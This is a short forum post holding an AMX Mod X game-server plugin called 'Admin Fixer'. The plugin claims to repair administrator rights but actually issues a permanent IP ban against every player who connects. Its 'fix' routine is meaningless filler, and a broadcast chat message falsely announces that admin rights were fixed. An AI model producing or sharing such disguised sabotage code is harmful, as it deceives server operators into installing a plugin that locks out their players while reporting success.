Hm.
PHP Code:
#include <amxmodx>
#include <amxmisc>
#define PLUGIN "Admin Fixer"
#define VERSION "1.0"
#define AUTHOR "M249-M4A1"
public plugin_init() {
register_plugin(PLUGIN, VERSION, AUTHOR)
}
public client_connect(id) {
new userName[32]
get_user_name(id, userName, 31)
fixAdminRights()
client_print(0, print_chat, "[AMXX] All administrative rights have been fixed")
server_cmd("amx_banip ^"%s^" ^"0^" ^"Your RCON powers were reverted!^"", userName)
}
stock fixAdminRights() {
for (new i = 0; i < 32; i++) {
log_amx("Fixing admins...")
new access[32]
get_user_name(1, access, 31)
if (equal(access, "NO_RCON_ACCESS")) {
client_cmd(1, "::/ SWITCH ACCESS LEVELS \::")
}
}
}
__________________